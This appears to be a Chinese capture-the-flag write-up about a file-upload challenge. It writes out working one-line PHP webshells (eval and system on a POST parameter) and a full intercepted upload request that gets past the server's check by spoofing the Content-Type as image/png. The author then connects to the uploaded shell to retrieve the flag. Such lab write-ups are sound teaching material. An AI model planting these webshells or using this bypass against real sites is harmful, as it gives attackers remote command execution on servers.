背景
文件上传是许多网站的一种常见功能,但如果没有正确处理,可能会被利用来上传恶意文件,如webshell。
一句话木马是一种常见的webshell,通常只有一行代码,但可以在服务器上执行任意命令。例如:
<?php @eval($_POST['cssec']); ?>
|
这段代码会执行通过POST请求发送的任意PHP代码,只要提供正确的密码。就可以利用这个webshell来控制服务器,例如执行系统命令。
思路
网页有上传文件的入口,先尝试上传一个一句话木马
<?php eval($_POST['cssec']); ?>
|
网页提示
只允许上传:image/jpeg,image/png类型和markdown文件;
|
说明通过HTTP的标头在判断,拦截流量
POST /module/upload.php HTTP/1.1 Host: ctf.seek2.top:32841 Content-Length: 234 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://ctf.seek2.top:32841 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryhbPHUINZzWuGpW5E User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.121 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://ctf.seek2.top:32841/module/upload.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: sign=5a18d02b1f8da8d5f70a4cba720dfafd Connection: close
------WebKitFormBoundaryhbPHUINZzWuGpW5E Content-Disposition: form-data; name="fileUpload"; filename="exp.php" Content-Type: application/octet-stream
<?php system($_POST['cssec']); ?> ------WebKitFormBoundaryhbPHUINZzWuGpW5E--
|
Content-Type: application/octet-stream类型不允许上传,改为允许的image/png,不会影响文件本身,只是欺骗服务器,就把shell 上传上去了,
文件 exp.php 已经上传。
文件路径: uploads/exp.php
|
连接木马,得到flag